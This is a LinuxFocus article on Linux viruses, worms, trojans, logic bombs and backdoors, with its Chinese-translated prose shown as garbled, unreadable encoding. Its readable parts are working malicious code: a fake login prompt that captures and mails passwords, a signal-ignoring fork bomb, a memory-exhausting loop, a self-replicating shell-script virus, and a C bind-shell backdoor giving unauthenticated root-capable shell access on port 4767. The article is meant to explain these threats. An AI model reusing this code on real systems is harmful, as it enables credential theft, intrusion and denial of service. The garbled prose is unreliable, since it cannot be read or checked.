[LinuxFocus-icon]
��ҳ  |  վ���ͼ  |  ����  |  ����

���� | �����ڿ� | ���� | ����LF
This article is available in: English  Castellano  ChineseGB  Deutsch  Francais  Italiano  Nederlands  Russian  Turkce  

Christophe Blaess
by Christophe Blaess (homepage)

��������:

Christophe Blaess��һλ�����ĺ��չ���ʦ������Linux�ԣ��������Ĵ�����������������ɡ�������Э��Linux Documentation Project������manҳ�ķ��빤����


Ŀ¼:

 

���������˹�ע�Ļ���

virus

ժҪ:

�������������Linux Magazine France���ڰ�ȫ���ؼ��ϡ��༭�������Լ������߶�ˬ���Ӧ����LinuxFocus���Է������ؼ��ϵ�ÿƪ���¡���ˣ�һ�������Ƿ����Ӣ�ģ�LinuxFocus�ͻἰʱչ�ָ����ǡ���л���в�����������Ա���Ժ����ͬ��������ÿƪ���£���ժҪ�����ظ�ʹ�á�



 

����

���Ľ���������������������Linuxϵͳ�ϳ��ֵ��ڲ���ȫ������������������������������˸�Ԥ��ʵʩ�ƻ�����������桢������ľ���ȵȡ����ǽ��������۸���©�����ڴ˵�����Ҫǿ�����������ĵ���ʧ��

 

���

ͨ�������ֽ�Ȼ��ͬ���͵���в�������û������������ǣ�����Ҫ����Ϊһ�ι����ķ��������Ǹ��ֻ���ͬʱ���õĽ����

�����Ǽ��Է���ͨ������ô���ף����磬��Щ������ijЩ�۲��߿����Dz�������������ȴ��Ϊ��������棬Ҫ�������յľ�����ʮ�ּ��ֵġ��������ڱ������漰�ķ�Χ��˵���⵹��������Ҫ���������ڲ���������в��Σ��Linuxϵͳ��

���ձ鿴�����෴���ǣ������ֻ�����ʵ�Ѿ���������Linux���ˡ���Ȼ�������Ĵ���������������DOS����ô�����������е���в�಻��С�ӡ��������Ƿ���һ������Щ���ա�

DZ�ڵ���в  

����

������һС�ΰ�����ij�������������λ�õĴ��룬���ܹ�ͨ����Ⱦ�µ�ִ���ļ������Ҹ��ơ��������������70�������ʱ�ij���Ա����һ������"core war"����Ϸ�������Ϸ������Bell AT&T laboratories[MARSDEN 00]����Ŀ���������޵��ڴ������ﲢ�����У�С�����ܹ������ƻ�������ϵͳû���ṩ�����ڴ�����֮��ı����������������໥������������֡�Ϊ�ˣ���Щ��ʹ��'0'������ը�������ܵ��ڴ��������ͬʱ������һЩ����Զ�ڵ�ַ�ռ����ƶ���ϣ�����ǵ����ֵĴ��룬��ʱ�������е�һЩ��������������ij���ѶԸ��ġ����ˡ���

ʵ�ָ���Ϸ���㷨�������һ���ر�Ϊ�䴴���Ļ�����ԡ�red code������ͨ������������л����ϵķ�������ִ�С���Ϸ�е���Ȥ����Դ�ڿ�ѧ�ĺ��棬�����the Life of Conway Game����������Ƭ�κ��Ŵ��㷨�ȵĿ���һ����

���������Ź���core war�����·�����Scientific American[DEWDNEY 84]�ϣ����ɱ�����·����ˣ���Щ�˿�ʼ��дС�ε����Ҹ��ƵĴ��룬��Щ�����ر���������������������߿�ִ���ļ����������Apple ][������ϳ��֣��������͵���MacIntosh��PC�ļ�����ϡ�

MS DOS����ϵͳ��Ϊ�˲�����ֳ�����ľ���֮ѡ����̬��ִ���ļ�����������֪�ĸ�ʽ��û���ڴ汣����û�л����ļ���ȡȨ�޵İ�ȫ���ã��㷺�����ڴ��жѵ�ʹ��TSR��פ���򣬵ȵȡ����DZ��뻹����һ���û�����״̬�����أ����Ƿ��������̽�����ִ�г����������������ļ�����Դ��

����򵥵�ģʽ�У���������һС�δ��룬������������һ��Ӧ�ó���ʱ��Ϊ����ִ�С������������ʱ��������������δ��Ⱦ�Ŀ�ִ���ļ�������������Ƕ����Щ�ļ��У�Ҫ�ǿ������ܵ�һЩ����ñ���ԭ�������޸ģ����˳���һ�������µĿ�ִ���ļ�ʱ�����̼�������������

�����ڴ�������������Э�������������Զ�������������[LUDWIG 91]��[LUDWIG 93]�У��й���for DOS��������ϸ����������ʹ�ù��ص��������Ա��������ڵ�ǰ��ɱ��������������ܣ��������ñ仯�ȵȡ���������������ʹ���Ŵ��㷨���Ż��������ںͷ�ֳ�����IJ�������ص���Ϣ�������������ƪ�dz��������ĵ����ҵ���[SPAFFORD 94].

�����DZ����μ����ĵ��Ǽ���������Ѿ���Խ��������������������ⷶΧ����������ɴ�������𺦡�һС�δ���Ķ��ظ��Ʊ��ʲ����ǿռ���˷ѣ����̺��ڴ棩������������Դ���Ϊ֧�š������乤�ߡ����������������������˲���Ķ������߼�ը�������ǽ���������ľ�����ٴ�̸������

 

������ľ�����߼�ը��

Timeo Danaos et dona ferentes - ���㵱ϣ��������ʱ����Ҳ�������ǡ� (Virgile, Aeneid,II, 49)��

��Χ����������������һ�����ľ��������ǽ�������ϣ����������Ϊ�ڽ̼�Ʒ��������ľ������Ž��˳ǡ�������ͻ���ӾͲ���������ľ���IJಿ����������һ��������ڣ�������ҹĻ�ڻ������湥���dzأ�����ʹ��ϣ��������Ӯ����������ս����ʤ����

�����ġ�������ľ�������������������ȫ�����ר������,����ʾһ�������޺���Ӧ�ó��򣬾��������ᵽ�IJ���һ���������ƻ��ԵĴ����߼�ը����

�߼�ը����һ�ζ����˺��ij������߱����������Ч����

��ijЩ����£��߼�ը��������ض���Ŀ��ϵͳ����д������ͼ��ȡ���ϵĻ�����Ϣ���ƻ������ļ����ߵ����û�����ʶ��ȥ������������ͬ����ը�����κ��������͵�ϵͳ�������޺��ġ�

�߼�ը��Ҳ������ͼ���������ƻ���פ����ϵͳ�����ֿ�������Ȼ���󣬵���ȷʵ���ڣ�ɾ��CMOS�洢�����ݣ��޸�modem�������ݣ���ӡ������ͼ�ǡ�ɨ���ǵ�ͷ�������Ե��ƶ���Ӳ�̶���ͷ�ļ�����ת...��

�����������ա�ը�����ı������������ǿ���˵�߼�ը����Ҫ�׹���������ʵ���ϣ���Ч�ʶ��ԣ�������ľ���򲡶����״�����ʱ��ִ���ƻ��ԵIJ�����һ�����õIJ��ԡ��ڰ�װ���߼�ը��֮������ǵȴ�һ���ٱ�ը�����ڲ���������˵�������������������ϵͳ�д����ġ����ᡱ������������ľ����˵������Բ����û�̫���׷����µ�Ӧ�ó���װ���������ϵ��쳣����֮�����ϵ��

�����κκ���֮��һ������������Ҳ�Ǹ��в�ͬ����װ���ӳ�ʮ�죬ɾ���ض��û��ʺţ���ʱɾ���������̺����ֹͣ�30���ӣ���ӡ�����еĸ߸���...������ȱ!��������������ľ������Ļ�������򣬾��ܽ��쿴�����е�̫���ס������˵�����£���Щ�����ܹ����ܸ��ŵ�ʵʩ�ƻ����ر�������߼�ը��ǡ��һСʱ֮����������ô�������Կ϶��û���ʱ�Ѿ����ڼ����ǰ���ˡ�

��һ��������ľ����������������������ű�������ʾһ����¼/���루login/password����Ļ����������Ϣ�������������Ȼ���˳�������������δʹ�õ��նˣ��ýű���������¸��������ӵ��û������롣

#! /bin/sh

clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
        login: $login
        passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout

Ϊʹ֮������Ժ�Ͽ����ӣ���������shell����exec���������ܺ��߿���"Login incorrect"��Ϣʱ������Ϊ�Լ�����������ǻ��Գ���ķ��������ٴ����ӡ���Ϊ�߼��İ汾�ܹ�ģ��X11���ӶԻ���Ϊ�˱�����������Ȧ�ף�����������ն���ʹ��һ������ĵ�¼/���루���ַ������������֮��ʮ�����׶��Һܿ����ѧ�ᣩ��

 

���

Paul�����Լ���Worm֮�ϣ�����ȸԾ������һλ�����������������档(F. Herbert "Dune")

"Worms"�������벡��һ����ԭ����������һ�ֳ��Ը��������Ծ����ܴ��������ij�������Ҳ����Я��һöװ�����ӳٴ��������߼�ը���������Ⲣ������Ҫ���ܡ�����벡���IJ��������治ʹ������������Ϊ����ý�飬������ͼ�������������ṩ�Ĺ��ܣ���������ʼ�����һ̨����������һ̨������

���ļ����ȼ��൱�ߣ����������ṩ��������������©������ʹ����Զ�̻��������Ҹ��ơ���ԭ����1988"Internet Worm"��

Internet Worm��һ�����������ӣ�û�а����߼�ը���������䲻¶��ɫ���ƻ�Ч��ʮ�ֿ��¡��������[KEHOE 92]���ҵ������̶�������������������[SPAFFORD 88]��[EICHIN 89]���ҵ���ϸ�ķ������档

�����֮���������������Robert Morris Jr������ʱ��Cornell��ѧ��ѧ�������Ѿ���Ϊһƪ��������Э���еİ�ȫ���������[MORRIS 85]��С����������������NCSC��NSA�ķ�֧���ţ���������ȫ����ָ�ص��Ǹ��ˡ���������1988��11��2�հ��������ģ����ҵ������ӵ�Internet�ϵľ������ϵͳֹͣ���С����Ĺ����������£�

  1. һ����͸�������������ͳ��Դ������硣Ϊ�˻�ȡ��ַ������ȡϵͳ�ļ������ù��߳�����netstat���ṩ��������ӿڵ���Ϣ��
  2. ������������ͼ����û��ʺš�Ϊ�ˣ������ֵ������������ļ����Ƚϡ�ͬʱ��������ʹ���û����ֵ���ϣ������ظ��ȵȣ���Ϊ���롣��һ����Ҫ������ϵͳ�ĵ�һ��©�������������һ���ɶ����ļ���/etc/passwd���У���������Դ�ijЩ�û�����������ѡ���л��档��һ��©�������Ѿ�ͨ��ʹ��shadow passwords��ý����
  3. ����ɹ��ػ�����û����ʺţ�������ͼ�ҳ���Щ�ṩֱ�ӷ��ʶ��������ݼ����Ļ�����Ҳ����ʹ��~/.rhost��/etc/hosts.equiv�ļ�������������£���ʹ��rsh����Զ�̻�����ִ��ָ����������ܽ����������Ƶ��µ������ϲ���ѭ���ٴο�ʼ��
  4. ����Ļ�����ʹ�õڶ���ϵͳ©������������������fingerd�������©������������ǹ��ڰ�ȫ��̵�ϵ�����£�Avoiding security holes when developing an application - Part 1, Avoiding security holes when developing an application - Part 2: memory, stack and functions, shellcode, Avoiding security holes when developing an application - Part 3: buffer overflows����
    ���ȱ��������Զ�̴���ִ�С�Ȼ������ܹ������������µ�ϵͳ�ϲ��ٴο�ʼ��ʵ���ϣ���ֻ��ijЩ���͵Ĵ���������Ч��
  5. ���ʹ�õ�����©����һ������ѡ���Ĭ�ϵ���sendmail�ػ������м�������ʼ��������մ�������ݵ�����ָ����ΪĿ��ı�׼����ϡ���ѡ�������л�����Ӧ����Զ����������ǣ����ҵ��ǣ��������ϵͳ����Ա���������Ĵ��ڡ�

����Ӧע�����һ������ܹ���Զ�̻�����ִ��һЩָ���ô���������ķ������൱���ӵġ�����Ҫ����һ��С��C�������ֳ����±��룬Ȼ�����������ţ�������һ��TCP/IP�����������������ȡ���������Ķ����Ƴ�����롣��Щ���յĺ�Ԥ������������ִ��ڸ�����ϵ�ṹ(Vax��Sun),������̶����˲��ԡ����⣬���dz����������������������޼���Ѱ��

���ҵ��ǣ���ֹ�������Ⱦ���Ļ��Ʋ���������Ը�������ã����Ҳ������߼�ը����Internet 88���ĺ��������ڵ�������Ⱦϵͳ�ļ��ȹ��أ��ر��Ƕ��ʼ����������������ʼ��ύ���ӳ٣���

�������������ڼ����д���һ��ʱ�䡣

�����临���ԣ�������Ҫϡ��һЩ��һ����Ҫ�������������͵���в������Ϊ�����ʼ���������IJ�����������"ILoveYou"���������Щ����ʮ�ּ򵥵ģ����Dz������ú��д�ģ���Basic�У���ִ�г��������Ķ��ʼ�ʱ�Զ���������ֻ��ijЩ����ϵͳ��Ч�����統�ʼ��Ķ������õ�̫��ʱ����Щ�������������ľ����������棬��Ϊ���Ƕ�Ҫ���û��IJ�������������

 

���ų���

���������ų�����������ľ�����Ƚϣ��������Dz�����ͬ��һ�����ų������������߼������û������������޸�����Ϊ����������Ϸ��������ȡ������Դ����ﵽ���߼����Ŀ�����ƭ�������Ტ�ۡ�ֻ����Ҳͬ�������ڹؼ���Ӧ�ó�����������֤���������ʼ�����Ϊ���ǿ��Զ�����������ط��ʣ���������������Ĵ�����֪����

����Աϣ��������Խ׶εĹ�������˳�������һ��С�ĺ��ſ�����ʹ֮�ܹ����辭����֤���ƶ�ֱ��ʹ����������ʹ��Ӧ�ó����Ѿ���װ�ڿͻ���ʱҲ����ˡ���ʱ����ʹ��Ĭ�����루system,admin, superuser�ȵȣ�����ʽ�ķ������ã�������Щ���벢û�����ĵ�����ϸ���أ��������Ա�Ծ����俪�š�

�ǵò�ͬ�����صķ����������"Wargame"��Ӱ�в��������ں�ϵͳ�ں�һ�����۵ģ�������Ҳ�����ҵ����ڴ���ʵ���ĸ��籨������һƪ�������ŵ�����[THOMPSON 84]�У�Unix֮�����е�һλKen Thompson��������������ǰ��Unixϵͳ��ʵ�ֵ����صķ�����ڣ�

�������������⣿�ȣ����ް취��Ψһ�ķ�������ʹ��һ��ȫ�µ�ϵͳ�����������������ڰ�װ����ʱ��ͷ�������е�΢���룬����ϵͳ����������ʵ�ù��ߣ��������޷�ȷ��ÿ��Ӧ�ó����Ǹɾ��ģ���ʹ����Щ��Դ��ij���

 

��ô��Linux��ô����

���dz������κ�ϵͳ�ϵ���Ҫ���ա����ڣ�������������������������Linux��ص���в��

 

�߼�ը��

���ȣ������ǿ������߼�ը����Linux������ִ��ʱ�ܴ���������Σ�����Զ��׼�������������ϣ���ﵽ��Ч�������������û����ݵ���Ȩ��

�����ۼ�ϵͳ�ļ����𻵻��߻������ݵĶ�ȡ�����ǻ����������Ρ����ը����root����ִ�У�����ӵ���ڻ����ϵ����Ȩ��������ɾ��ÿ�������������������ᵽ��һ����Ӳ��������õ��˺�������������κ������û���������������ô������ɵ��ƻ����ᳬ���û���Ȩ��֮�⡣��ֻ���ƻ����ڸ��û������ݡ��ڴ��������£�ÿ���˹������Լ����ļ���һ����ְ��ϵͳ����Ա��root����ֻ���к��ٵ������������Լ����ڸ��˺��������߼�ը���Ŀ����ԡ�

Linuxϵͳ��˽�����ݺ�Ӳ����ȡ�ı����������൱������������������Щ���úľ�������Դ��ʹϵͳ�޷������Ĺ������С����磬���µ�C����ͺ���ͣ��������ʹ������ͨ�û�����Ҳ��ˣ�����������û�ʹ�õĽ�����û�����ƣ����ᡰ�Ծ������̱������еĿ�����Ŀ����ֹ�κ����ӳ���ɱ������

  #include <signal.h>
  #include <unistd.h>

  int
main (void)
{
  int i;
  for (i = 0; i < NSIG; i ++)
    signal (i, SIG_IGN);
  while (1)
    fork ();
}

����Զ��û�ʵʩ�����ƣ�ʹ��setrlimit()ϵͳ���ú�shellulimit�����������̴���������������������ֻ�ھ���һ��ʱ���������ã��ڴ��ڼ��ڣ�ϵͳ���޷�����ġ�

����ͬ����ԭ�����µij���ľ����п��õ��ڴ沢ѭ�����С��Ե���CPU���ڣ��������������ɼ���ĸ��š�

  #include <stdlib.h>

  #define LG      1024

  int
main (void) {
  char * buffer;
  while ((buffer = malloc (LG)) != NULL)
     memset (buffer, 0, LG);
  while (1)
    ;
}

ͨ���ó������ͨ�������ں˵ķ����汾�е������ڴ�����������Զ�ɱ���������ڴ�֮ǰ��ɱ������������ں���Ҫ�������ڴ�Ͷ��ݵ�ֹͣ�������X11Ӧ�ó��򣩡����⣬����������Ҫ�ڴ�Ľ����޷��õ����㣬�ⳣ���ᵼ��������ֹ���С�

�������粿������Ҳ�����ף�����ʹ�ò��ϵ�����������ʹ��Ӧ�Ķ˿ڹ��ء��������ķ������У���������ͨ��Ҫ�ɹ���Ա��ִ�С��ɴˣ����ǻ�ע�⵽��Linux�£���������ͨ�û��������߼�ը���ƻ����˲����������ļ�����������ʮ�����ᡣ��һЩfork(),malloc()��connect()��������������Զ�ϵͳ���������������ص�ѹ����

 

����

����:Unix����

����յ�Unix������

����������Э��ԭ����:

�����ʹ��Linux����Unix���뽫���ʼ�ת����������Ѳ�������ƻ���ϵͳ�ϵ�һЩ�ļ���

Ʋ���Ǹ��ձ�Ŀ������ۣ�����ȷ��Linux�µ�һ����в���������͵IJ������С���Linux�²����Ҳ��������������������⵹��û���ġ����ȣ������ǿ��������ڻ����������Ľ׶Ρ�������������ڴ�ִ�С�����ζ��һ������ʴ�Ŀ�ִ���ļ��������������ƹ����ˡ���Linux�����У��ṩһ��Ӧ�ó����ij�˵ij��������Ǹ����������ڵ�URL�������Ƿ�����ִ���ļ�������ζ�����Թٷ�վ��IJ����ܿ������⵽��һ����������Ⱦ���������������Խ�����Ԥ����Ӧ�ó���ķ���ƽ̨�����Ǽ�Ϊ�����ġ�ʵ���ϣ������������������е��߼�ը�����ԣ���ִ���ļ����ǺõĴ�����ʡ�

�����ᵽ�ڻ����ڲ��Ĵ����������ԣ�һ������ʴ��Ӧ�ó���ֻ�ܴ�Ⱦ�����иó�����û�����дȨ�޵��ļ���ֻ�������Щȷʵ��Ҫ��Ȩ�IJ���ʱ����root���ݹ����Ĵ����Ĺ���Ա������������ӵ���������ʱ�����µ����������˰�װSet-UID rootӦ�ó���ʱ���Ⱦ����֮�⣬���տ��Դ���С������ͨ�û���Ҫ����һ������Ⱦ�ij���ʱ������ֻ�����������ڸ��û����ļ�������Է�ֹ���Ⱦϵͳʵ�ó���

����˵�ܳ�ʱ����Unix�µIJ������������а�Ļ�����Ҳ����Ϊ��������֮���ǻ�����ԣ��Ϳ��ļ���֮���Ƕ������ã��Ķ�����������Ԥ�����������÷�Χ�������򲢷���ˣ�һ����Ⱦi386������Linux����Glibc 2.1�����ELF�ļ��IJ������ҵ�����Ŀ�ꡣ����֮�⣬������д�����Զ�����ִ����������������˵�������һ�����shell scripts�IJ���������ͼ����������Ŀ¼��ÿ��shell�ű���Ϊ�˱����θ�Ⱦͬһ�ű������������ڵڶ�����ע�͡�infectd����vaccinated�����ļ���

#! /bin/sh
# infected

( tmp_fic=/tmp/$$
candidates=$(find . -type f -uid $UID -perm -0755)
for fic in $candidates ; do
        exec < $fic
        # Let's try to read a first line,
        if  ! read line ; then
                continue
        fi
        # and let's check it is a shell script.
        if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ; then
                continue
        fi
        # Let's read a second line.
        if ! read line ; then
                continue
        fi
        # Is the file already infected or vaccinated ?
        if [ "$line" == "# vaccinated" ] || [ "$line" == "# infected" ] ; then
                continue
        fi
        # Otherwise we infect it: copy the virus body,
        head -33 $0 > $tmp_fic
        # and the original file.
        cat $fic >> $tmp_fic
        # Overwrite the original file.
        cat $tmp_fic > $fic
done
 rm -f $tmp_fic
) 2>/dev/null &

��������������������������������������ں�ִ̨�ж���ԭʼ�ű���������ij��湤������Ȼ����Ҫ��root�������иýű����ر����������find .�滻��find /��������򲻽���࣬�����������׷�������ƣ��ر������ϵͳ�����������Ƶ�shell�ű���

��1�к���Linux��֪�������������Ϣ��ͨ�����ļ�ͷ��������벢����ԭʼ�����ʣ�ಿ�֣����Ƕ��ɸ�ȾELF��ִ���ļ������Ǹ�֪���������ǻ���ϵͳĿ¼�²���DZ�ڵ�Ŀ�ꡣ�Ӵ˱��У������ע�⵽��Linux�µIJ�����ʹû��̫��澯��Ҳ����������ɽ¶ˮ����Ҫ����ΪĿǰΪֹ���������޺��ġ�

Table 1 - Linux�µIJ���
���� �߼�ը�� ��ע
Bliss �����޻ �������ѡ��--bliss-disinfect-files-please�����Զ������Կ�ִ���ļ��ĸ�Ⱦ��
Diesel ��  
Kagob �� ʹ����ʱ�ļ���ִ���Ѹ�Ⱦ��ԭʼ����
Satyr ��  
Vit4096 �� ֻ��Ⱦ��ǰĿ¼���ļ���
Winter �� ��������Ϊ341�ֽڡ�ֻ��Ⱦ��ǰĿ¼�е��ļ���
Winux �� �ò��������ֲ�ͬ���룬�ɷֱ�������ȾWindows�ļ���Elf Linux�ļ�������������̽������������ڷ���֮���������������������䴫���Ļ��ʡ�
ZipWorm ���䷢�ֵ�Zip�ļ��в���һ����Linux��Windows�ġ��ն���troll�����ı�������troll��=������е�һ��С���ˣ�����ע�����������̬���Ѻõ�٪�壩��  

���ע�⵽��Winux���������ܹ���WindowsҲ����Linux�´���������һ���޺��IJ���������˵��һ��ʵ��Σ�գ�����˵��һ�ֿ����Ե���֤�������������뵽������һ���������ܹ���һ������������һ��������ʹ��Samba���������ֲ�ͬ���͵�����ȵȣ���ͻ��������Ƹе����������ˡ�Ҫ������������һ����ʹ������飬��Ϊ����Ĺ��߱����ͬʱ��������ϵͳ��Ӧ�����ӵ��ǣ����Linux����������������Windows�µIJ������ʵĻ�����ôLinux������ֹ����ͨ�û����������еIJ����ƻ�ϵͳ�ļ��ı������ƾ���ͬ�����ˡ�

������ǿ����һ�㣺���������յĶ�ƽ̨����פ����Windows��������������������ô����Linux��������ÿ������������Ǻ����ô��ġ�����ÿ̨ʹ��˫����������������ϵͳ�Ļ��������ⶼ�Ǹ����⣻����ı�����ȫ��������������Ǹ�ϵͳ�İ�ȫ���ƶ�����Ψһ�Ľ��������ʹ�ü��ܵ��ļ�ϵͳ����ֹ�κ�WindowsӦ�ó������Linux���������ֲ�����δ��Ϊ�����������Ҵ��˵����δ���ط����IJ������ܿ��ΪLinux�������ش���в�Ĵ�����

 

������ľ��

������ľ���Ͳ���һ�����£������ƺ�������Ϊ���衣��ͨ�������������߼�ը����ͬ����������ľ���з��ֵ��߼�ը�����������������ġ����������������У���һС�δ�������ߵ����յ��û������ܵ�һ��������Э���ߣ�����˵��Ŀ�ĸ����˺ͷ����汾�ijﱸ�ˣ���Լ�������������������ľ������ô������ץ�����ﷸ����

���������������ʮ����Ч�ط���������ľ���������������۵������������������ǽ�����֪���ģ���ָ��Щ�߱���Ŀ���������ڽ��ɵĿ����ߺ����webվ���������������������������������в�ͬ����Щ��������Ԥ����õģ���һ���������ķ�ʽ���ϰٸ�webվ�㷢��������ͨ����־������CD��������������ֻ��ͨ��һ��������α���e-mail��ַ����Ϥ����Щ��ʹ��������ľ�����Կɿ������档

����Ӧע�⵽����һ����ʵ��ӵ��Ӧ�ó����Դ�����ҽ��б��벢������Ϊ��ȫ�ı�֤�����磬�к����߼�ը������������"configure"�ű��У�������"./configure; make"ʱ���ã����������Ľű�ͨ�����д�Լ2000�г�!�����뵫�������㹻�ı�֤��Ӧ�ó����Դ����Ӧ�Ǹɾ��IJ��ܱ��룻�����⻹���޷���ֹMakefile�����߼�ը���������������"make install"ʱ��������������ͨ��������root�������еģ�

��󣬲�����������ľ����Windows�������һ����Ҫ�������漰�ĵ�ʱ�ĺ�ִ�С���Linux�µĹ���������Dz��ܽ�����Щ��ģ�����ĿǰΪֹ���������û���ʱ���ܵõ�һ���Թ���ʵ�İ�ȫ�С���ij��ʱ����Щ���߻��ܹ�ִ�а������ĵ��е�Basic�ꡣ���������Щ����ϵͳ�������������ᱻ֤���Ǹ��������⡣��Ȼ�����ڲ������ƻ���ЧӦ���ܵ��û���Ȩ�����ƣ����ǿɿ�ϵͳ�ļ������ٰ�װCD�ϻ��У�����ʵ������Щ�ոն�ʧ�������ĵ���Դ�ļ����ʼ�����������һ����֮ǰ���û���˵������������ٰ�ο��

�ڽ�������������������ľ�����������֮ʱ������Ӧע�⵽�������з����������û��ģ���ʹ�����к��ģ���ʹ��Щ�ļ�����Ҫ���͡���Usenet�ϣ�����Կ�������ʱ��ѹ���ļ������ҷ�ֳΪ�����ļ�ֱ���ﵽ���̵ı��͡���ЩPostscript�ļ�Ҳ�ܹ��������ͳ���ghostscript��gv��������CPUʱ�����ڡ���Щ��û��Σ���������������û���ʱ�޷���֤�������˲�dz��

 

���

��1988 Internet�������֮ʱ����û��Linux���ڣ�Linux��Ӧ��Ϊ���ֹ��������ѡ�񣬵���������Դ����Ĵ���ʹ������©����÷dz����ף����磬���������������дһ���������������ĸ����Լ�������Щ��Linux��������Ծ����������2������һЩ��棬���Ƕ��Ǵ�������ġ�

���������������������©��������ż�����ӵ�Internet�Ĺ���վ���ԣ������Ϸ���ҪС��һֱ���ӵķ�������������Ϊ��ͥ�û��ṩ�Ľ������ͣ�Cable��SDL�ȵȣ��ķ�չ�Լ�Ŀǰ�������HTTP������������FTP�ȣ�����ʵ������ζ�����ܿ���Ϊ��������ע��Ŀ�ꡣ

��2 - Linux�µ����
���� ������©�� ��ע
Lion (1i0n) bind �����ֵĻ����ϰ�װ���ų���(TCP port 10008)��root-kit������ϵͳ��Ϣ��һ�����й���email��ַ��
Ramen lpr, nfs, wu-ftpd �޸������ҵ���index.html�ļ�
Adore (Red Worm) bind, lpr, rpc, wu-ftpd ��ϵͳ�ϰ�װ���ų��򲢷���ϵͳ��Ϣ�����й���������email��ַ����װһ��ps���޸İ汾����������̡�
Cheese ��Lion���� �������һ�����ɳ�������������ɾ����Lion���ŵĺ��ŵġ�

������棬����Ӧע�⵽���ǵĴ����ܵ�ʱ������ơ�����ֻ�ڴ�һ��ϵͳ���Ƶ���һϵͳʱ�ǡ����ŵġ���������Ϊ�����������·��ֵ�©����Ŀ��Ӧ�ó����Ѹ����������ֹͣ���ǵĴ������ڲ��õĽ���������ϵͳ���ܻ��Զ���ѯ��ص�webվ�㣨ÿ�죩��������Ҫ���Ρ������ڴ˲���ϵͳӦ�ó���İ�ȫ����������ڱ����û�ȫ����ϵͳ����Ա���ݹ�����ʹ֮��Э��ִ������Ӧ�ó�����˵���б�Ҫ��

 

���ų���

���ų���������൱���أ���ʹ������������Ҳ����ˡ���Ȼ����Ϊ���˳����Դ���룬����������Լ��������ʲô��ʵ���ϣ����������ܹ�������Internet�����صĵ����ļ����ݡ����磬�����С�����ṩ��һ�������ĺ��ų��򣬿���������С������������һ���㹻���Ӧ�ó����С��ó��������ҵ���[BLAESS 00]�����ھ���˵��α�ն˵Ļ��ơ��ó����Ǻܺö�����Ϊ��ȡ����ע����ʹ֮���̡��������������Ҳ��ͬ����ԭ��ȥ���ˡ���ִ��ʱ�����ڸû�����ÿ������ӿڵij���ͷָ���Ķ˿ڣ�Ĭ��Ϊ4767���ϴ�һ��TCP/IP��������ÿ�����󵽴˶˿ڵ����ӻ��Զ�����һ��shell�����κ����ݼ���!!!

    #define _GNU_SOURCE 500
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <termios.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <sys/socket.h>

    #define ADRESSE_BACKDOOR  INADDR_ANY
    #define PORT_BACKDOOR     4767

    int
main (void)
{
    int                sock;
    int                sockopt;
    struct sockaddr_in adresse; /* address */
    socklen_t          longueur; /* length */
    int                sock2;
    int        pty_maitre; /* pty_master */
    int        pty_esclave; /* pty_slave */
    char *         nom_pty; /* name_pty */
    struct termios     termios;
    char * args [2] = { "/bin/sh", NULL };
    fd_set         set;
    char           buffer [4096];
    int            n;

    sock = socket (AF_INET, SOCK_STREAM, 0);
    sockopt = 1;
    setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt));
    memset (& adresse, 0, sizeof (struct sockaddr));
    adresse . sin_family = AF_INET;
    adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
    adresse . sin_port = htons (PORT_BACKDOOR);
    if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))
        exit (1);
    listen (sock, 5);
    while (1) {
        longueur = sizeof (struct sockaddr_in);
        if ((sock2 = accept (sock, & adresse, & longueur)) < 0)
            continue;
        if (fork () == 0) break;
        close (sock2);
    }
    close (sock);
    if ((pty_maitre = getpt()) < 0) exit (1);
    grantpt  (pty_maitre);
    unlockpt (pty_maitre);
    nom_pty = ptsname (pty_maitre);
    tcgetattr (STDIN_FILENO, & termios);
    if (fork () == 0) {
        /* Son: shell execution in the slave
            pseudo-TTY */
        close (pty_maitre);
        setsid();
        pty_esclave = open (nom_pty, O_RDWR);
        tcsetattr (pty_esclave, TCSANOW, & termios);
        dup2 (pty_esclave, STDIN_FILENO);
        dup2 (pty_esclave, STDOUT_FILENO);
        dup2 (pty_esclave, STDERR_FILENO);
        execv (args [0], args);
        exit (1);
    }
    /* Father: copy of the socket to the master pseudo-TTY
        and vice versa */
        tcgetattr (pty_maitre, & termios);
    cfmakeraw (& termios);
    tcsetattr (pty_maitre, TCSANOW, & termios);
    while (1) {
        FD_ZERO (& set);
        FD_SET (sock2, & set);
        FD_SET (pty_maitre, & set);
        if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
             & set, NULL, NULL, NULL) < 0)
            break;
        if (FD_ISSET (sock2, &set)) {
            if ((n = read (sock2, buffer, 4096)) < 0)
                break;
            write (pty_maitre, buffer, n);
        }
        if (FD_ISSET (pty_maitre, &set)) {
            if ((n = read (pty_maitre, buffer, 4096)) < 0)
                break;
            write (sock2, buffer, n);
        }
    }
    return (0);
}

����������һ�δ��뵽�Ӵ��Ӧ�ó�������sendmail�����������㹻����ʱ�������а������͸�����⣬��Щ��������С�δ������еļ����������֣���ÿ����IOCC(International Obsfucated C Code Contest)�������ύ�ij��������Ϊ��֤��

��Ӧ��Ϊ���ų�����������ϵĿ��ܡ���������ȷ��ȷ�Ѿ���������������Red-Hat 6.2�����汾�е�Piranha��������ܽ���Ĭ�����롣Quake 2����ͬ��Ҳ���������˺��ų���������Զ��ִ�����

���ų���Ļ���Ҳ���Խ������������ڷdz����ӵ���������������ڶ��ھ������������˵��̽�ⲻ���ġ�һ�����͵����Ӿ��ǹ��ڼ���ϵͳ�ĺ��ų������磬�ڹ�����SE-Linuxϵͳ��һ��ʹ������NSA�ṩ�IJ�����ǿ��ȫ��Linux�汾����������ṩ�IJ�����Linux������˵��û��ʲôֵ�����ɣ�����˭Ҳ����ȷ�ţ��ο��������������㹻����ѧ֪ʶ�����ִ���©����

 

����

